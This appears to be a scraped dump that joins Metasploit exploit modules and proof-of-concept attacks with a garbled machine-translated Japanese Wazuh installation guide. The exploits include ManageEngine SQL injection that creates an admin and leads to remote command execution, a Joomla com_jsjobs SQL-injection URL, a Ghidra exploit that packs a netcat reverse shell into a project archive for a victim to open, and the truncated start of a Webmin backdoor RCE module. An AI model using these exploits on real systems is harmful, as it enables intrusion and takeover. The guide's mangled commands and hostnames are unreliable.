'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# Password check vulnerability in Java Script :/
if res.body.include?('j_password.value=username')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)
if res && res.code == 302 or 303
print_good("Authentication bypass was successfully performed.")
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(am_host, am_port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
end
wazuhサーバーのインストール
Wazuhサーバーは、あらゆるタイプのUNIXオペレーティングシステムにインストールできます。最も一般的にLinuxにインストールされています。システムに自動化されたスクリプトを提供できれば、インストールプロセスは簡単ですが、ソースからビルドしてインストールすることも非常に簡単です。
通常、Wazuhサーバーに2つのコンポーネントがインストールされます:マネージャーとAPI。さらに、分散アーキテクチャ(Wazuhサーバーはリモートエラスティックスタッククラスターにデータを送信します)の場合、ファイルビートをインストールする必要があります。
オペレーティングシステムとソースから構築するかどうかに応じて、Wazuhサーバーをインストールするための多くのオプションがあります。以下の表を参照して、インストール方法を選択してください。
タイプ説明RPMパッケージ
centos/rhel/fedoraにWazuhサーバーをインストールします
デブパッケージ
debian/ubuntuにWazuhサーバーをインストールします
知らせ
Wazuh APIは32ビットプラットフォームでは使用できないため、Wazuhサーバーを64ビットオペレーティングシステムにインストールすることを強くお勧めします。 Wazuh APIがなければ、Wazuh Kibanaアプリケーションの機能のほとんどは機能しません。同様に、Wazuh ServerプラットフォームにRed HatまたはCentosを使用している場合は、Wazuh APIを適切にインストールするためにバージョン6以下であることを確認してください。
RPMパッケージを使用してWazuhサーバーをインストールします
CENTOS/RHEL/FEDORAプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、更新ソースを追加した後に関連するソフトウェアパッケージをインストールする必要があります。
注:以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。
wazuhリポジトリを追加
Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。
更新ソースを設定するには、次のコマンドを実行します。
#cat /etc/yum.repos.d/wazuh.repo \ eof
[wazuh_repo]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh
有効=1
name=wazuhリポジトリ
baseurl=https://packages.wazuh.com/3.x/yum/
保護=1
EOF
Centos-5およびRhel-5の場合:
#cat /etc/yum.repos.d/wazuh.repo \ eof
[wazuh_repo]
gpgcheck=1
gpgkey=http://packages.wazuh.com/key/gpg-key-wazuh-5
有効=1
name=wazuhリポジトリ
baseurl=http://packages.wazuh.com/3.x/yum/5/$ basearch/
保護=1
EOF
Wazuh Managerのインストール
次のステップは、システムにWazuhマネージャーをインストールすることです。
#yumインストールwazuh-manager
このプロセスを完了したら、次のコマンドを使用してサービスステータスを確認できます
A.SystemD:
#SystemCTLステータスWazuh-Manager
B. sysv init:用
#サービスwazuh-managerステータス
wazuh api
のインストールWazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1未満の場合は、以下に示すように公式のnodejsアップデートソースライブラリを追加することをお勧めします。
#curl - silent - ロケーションhttps://rpm.nodesource.com/setup_8.x |バッシュ -
次に、nodejsをインストールします。
#yumインストールnodejs
2。WazuhAPIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。
システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。
#python -version
``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。
config.python=[
//デフォルトのインストール
{
bin: 'python'、
lib3360 ''
}、
//Centos 6のパッケージ「Python27」
{
bin: '/opt/rh/python27/root/usr/bin/python'、
lib: '/opt/rh/python27/root/usr/lib64'
}
];
Centos 6とRed Hat 6にはPython 2.6が付属していますが、Python 2.7を並行してインストールして、古いバージョンと互換性があります
a。 Centos 6の場合:
#yum install -y centos-release-scl
#yum install -y python27
b。 RHEL 6の場合:
#yumインストールpython27
次のコマンドを使用して、最初にPython27を取得することを最初に有効にする必要がある場合があります。
#yum-config-manager -enable rhui-region-rhel-server-rhscl
#yum-config-manager -enable rhel-server-rhscl-6-rpms
3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。
#yumインストールwazuh-api
4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。
A.SystemD:
#SystemCTLステータスWazuh-API
B. sysv init:
#サービスwazuh-apiステータス
5。(オプション)wazuhアップデートを無効にするソース:
偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。
#sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo
filebeatのインストール
FileBeatは、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができるWazuhサーバー上のツールです
警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。
RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへのインストールに適しています
ElasticからGPGキーをインストールしてから、弾性更新ソースをインストールします。
#rpm -import https://packages.lastic.co/gpg-key-elasticsearch
#cat /etc/yum.repos.d/elastic.repo eof
[Elasticsearch-6.x]
name=6.xパッケージのElasticsearchリポジトリ
baseurl=https://Artifacts.Elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch
有効=1
AutoreFresh=1
type=rpm-md
EOF
2。filebeatをインストールします:
#yumインストールfilebeat-6.6.0
3. Wazuhリポジトリからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。
#curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml
4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば:
output:
logstash:
hosts: ['elastic_server_ip33605000']
5。ファイルビートサービスを開始します:
A.SystemD:
#SystemCtl Daemon-Reload
#SystemCtl enable filebeat.service
#SystemCtl filebeat.Serviceを開始します
B. sysv init:
#chkconfig -add filebeat
#サービスfilebeat start
6。(オプション)Elasticsearchリポジトリを無効にします。
ElasticSearchの更新ソースを無効にして、新しい弾性スタックバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。
#sed -i 's/^enabled=1/enabled=0/' /etc/yum.repos.d/Elastic.rep
Debパッケージを使用してWazuhサーバーをインストールします
Debian/Ubuntuプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、リポジトリを追加した後に関連するソフトウェアパッケージをインストールする必要があります。以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。
wazuh更新ソースを追加
Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。
このプロセスを実行するには、Curl、Apt-Transport-HTTPS、およびLSBリリースパッケージをシステムにインストールする必要があります。それらがインストールされていない場合は、次のコマンドを使用してそれらをインストールします。
#apt-getアップデート
#apt-get install curl apt-transport-https lsb-release
/usr/bin/pythonファイルが存在しない場合(ubuntu 16.04 lts以降など)、次のコマンドを使用してpython(2.7以降)を作成します。
# もし [ ! -f/usr/bin/python];その後、ln -s/usr/bin/python3/usr/bin/python; fi
2. GPGキーをインストールします
#curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add-
3.更新ソースを追加します
#echo 'deb https://packages.wazuh.com/3.x/apt/stable main' | Tee -a /etc/apt/sources.list.d/wazuh.list
4。パッケージを更新します
#apt-getアップデート
Wazuh Managerのインストール
ターミナルで、Wazuhマネージャーをインストールしてください。
#apt-get wazuh-managerをインストールします
このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。
a。 SystemDの場合:
#SystemCTLステータスWazuh-Manager
B. sysv init:
#サービスwazuh-managerステータス
wazuh api
のインストールWazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。
#curl -sl https://deb.nodesource.com/setup_8.x |バッシュ -
ubuntu 12.04(正確)またはdebian 7(wheezy)を使用している場合、次のコマンドを使用してnodejs 6をインストールする必要があります。
#curl-slhttps://deb.nodesource.com/setup_6.x | bash-
次に、nodejsをインストールします。
#apt-get install nodejs
2。APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。
システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。
#python -version
``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。
config.python=[
//デフォルトのインストール
{
bin: 'python'、
lib3360 ''
}、
//Centos 6のパッケージ「Python27」
{
bin: '/opt/rh/python27/root/usr/bin/python'、
lib: '/opt/rh/python27/root/usr/lib64'
}
];
3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。
#apt-get wazuh-apiをインストールします
4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。
A.SystemD:
#SystemCTLステータスWazuh-API
B. sysv init:
#サービスwazuh-apiステータス
5。(オプション)Wazuhアップデートを無効にします:
偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。
#sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/wazuh.list
#apt-getアップデート
または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます)
#echo 'wazuh-manager hold' | sudo dpkg - セット選択
#echo 'wazuh-api hold' | sudo dpkg - セット選択
filebeatのインストール
FileBeatは、Wazuhサーバー上のツールであり、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができます。
警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。
Debパッケージは、Debian、Ubuntu、およびその他のDebianベースのシステムに適しています。
ElasticからGPGキーをインストールしてから、弾性リポジトリをインストールします。
#curl -S https://Artifacts.Elastic.co/gpg-key-elasticsearch | apt -key add-
#echo 'deb https://artifacts.elastic.co/packages/6.x/apt stable main' | Tee /etc/apt/sources.list.d/elastic-6.x.list
#apt-getアップデート
2。filebeatをインストールします:
#apt-get install filebeat=6.6.0
3. Wazuh Updateソースからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。
#curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml
4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば:
output:
logstash:
hosts: ['elastic_server_ip33605000']
5。ファイルビートサービスを開始します:
A.SystemD:
#SystemCtl Daemon-Reload
#SystemCtl enable filebeat.service
#SystemCtl filebeat.Serviceを開始します
B. sysv init:
#update-rc.d filebeatデフォルト95 10
#サービスfilebeat start
6。(オプション)Elasticsearchの更新を無効にします:
ElasticSearの更新ソースを無効にして、新しいElastic Stackバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。
#sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/elastic-6.x.list
#apt-getアップデート
または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます)
#echo 'filebeat hold' | sudo dpkg - セット選択
弾性スタックのインストール
このガイドでは、Logstash、Elasticsearch、Kibanaで構成される弾性スタックサーバーのインストールを紹介します。これらのパッケージベースのコンポーネントインストールについて説明します。ソースからTARをコンパイルしてインストールすることもできますが、これはWazuhドキュメントの好ましいインストールではありません。
弾性スタックコンポーネントに加えて、Wazuhアプリケーション(Kibanaプラグインとして展開)のインストールと構成の手順も見つけることができます。
オペレーティングシステムに応じて、RPMまたはDEBパッケージから弾性スタックをインストールすることを選択できます。以下の表を参照して選択してください。
タイプ説明RPMパッケージ
Centos/rhel/fedoraに弾性スタックを取り付けます
デブパッケージ
debian/ubuntuに弾性スタックを取り付けます
知らせ
現在、Elastic Stackは64ビットオペレーティングシステムのみをサポートしています
RPMパッケージを使用して弾性スタックをインストールします
RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへの設置に適しています。
注:次のコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。
準備
LogstashとElasticsearchにはOracle Java JRE 8が必要です。
注:次のコマンドは、Oracle Java JREをダウンロードするためにCookieを持参する必要があります。詳細については、Oracle Java 8 JREダウンロードページをご覧ください。
#curl -lo jre-8-linux-x64.rpm - Header 'cookie: Oraclelicense=Accect-securebackup-cookie'https://doldoad.oracle.com/otn-pub/java/jdk/8U202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-lunux-x64.rpm'
次に、パッケージが正常にダウンロードされたかどうかを確認します。
#RPM -QLP JRE-8-LINUX-X64.RPM /DEV /NULL 21CHO'JAVAパッケージは正常にダウンロードされました '|| ECHO'JAVAパッケージは正常にダウンロードしませんでした'
最後に、Yumを使用してRPMパッケージをインストールします。
#yum -yインストールjre-8-linux-x64.rpm
#RM -F JRE-8-LINUX-X64.RPM
2。弾性リポジトリとそのGPGキーをインストールします。
#rpm -import https://packages.lastic.co/gpg-key-elasticsearch
#cat /etc/yum.repos.d/elastic.repo eof
[Elasticsearch-6.x]
name=6.xパッケージのElasticsearchリポジトリ
baseurl=https://Artifacts.Elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch
有効=1
AutoreFresh=1
type=rpm-md
EOF
ElasticSearch
ElasticSearchは、非常にスケーラブルなフルテキスト検索および分析エンジンです。詳細については、elasticsearchを参照してください。
ElasticSearchパッケージをインストールします:
#yumインストールElasticsearch-6.6.0
2。ElasticSearchサービスを開始します。
A.SystemD:
#SystemCtl Daemon-Reload
#SystemCtl Enable ElasticSearch.Service
#SystemCtl Start ElasticSearch.Service
B. sysv init:
#chkconfig -add elasticsearch
#サービスElasticSearch Start
ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。
#curl 'http://LocalHost3:9200/?pretty'
{
'name' : 'zr2shu_'、
'cluster_name' : 'elasticsearch'、
'cluster_uuid' : 'M-w_rznzra-cxykh_ojscq'、
'バージョン' : {
「番号」: '6.6.0'、
'build_flavor' : 'デフォルト'、
'build_type' : 'rpm'、
'build_hash'
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 9090,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(cookie, platform, @dir)
end
def file_up(cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(cookie, action)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.do'),
)
# For this part the build control will be placed.
if res && res.code == 200 && res.body.include?('Build No:142')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'submit' => 'Login'
}
)
if res && res.code == 303
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
send_sqli(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
def send_sqli(cookies)
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)
print @uname + "//" + @pwd
puts res.body
if res && res.code == 303
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end
#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 296 in file site/models/cities.php
291 function isCityExist($countryid, $stateid, $cityname){
292 if (!is_numeric($countryid))
293 return false;
294
295 $db = $this->getDBO();
296 $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'"; //!!!
297
298 if($stateid > 0){
299 $query .= " AND stateid=".$stateid;
300 }else{
301 $query .= " AND (stateid=0 OR stateid IS NULL)";
302 }
303
305 $db->setQuery($query);
306 $city = $db->loadObject();
307 if ($city != null)
308 return $city;
309 else
310 return false;
311 }
312
313 }
#####################################
#PoC:
#####################################
http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada
import os
import inspect
import argparse
import shutil
from shutil import copyfile
print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")
parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)
args = parser.parse_args()
if args.ip and args.port and args.file:
rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
os.system("chmod +x decompile")
copyfile("decompile",path)
copyfile(args.file,rootDirURL+"/"+"project.gar")
os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip project.gar")
os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
os.system("rm project.gar")
print("You can now share project.zip and start your local netcat listener.")
print("")
print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
print("root path for payload execution.")
print("")
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
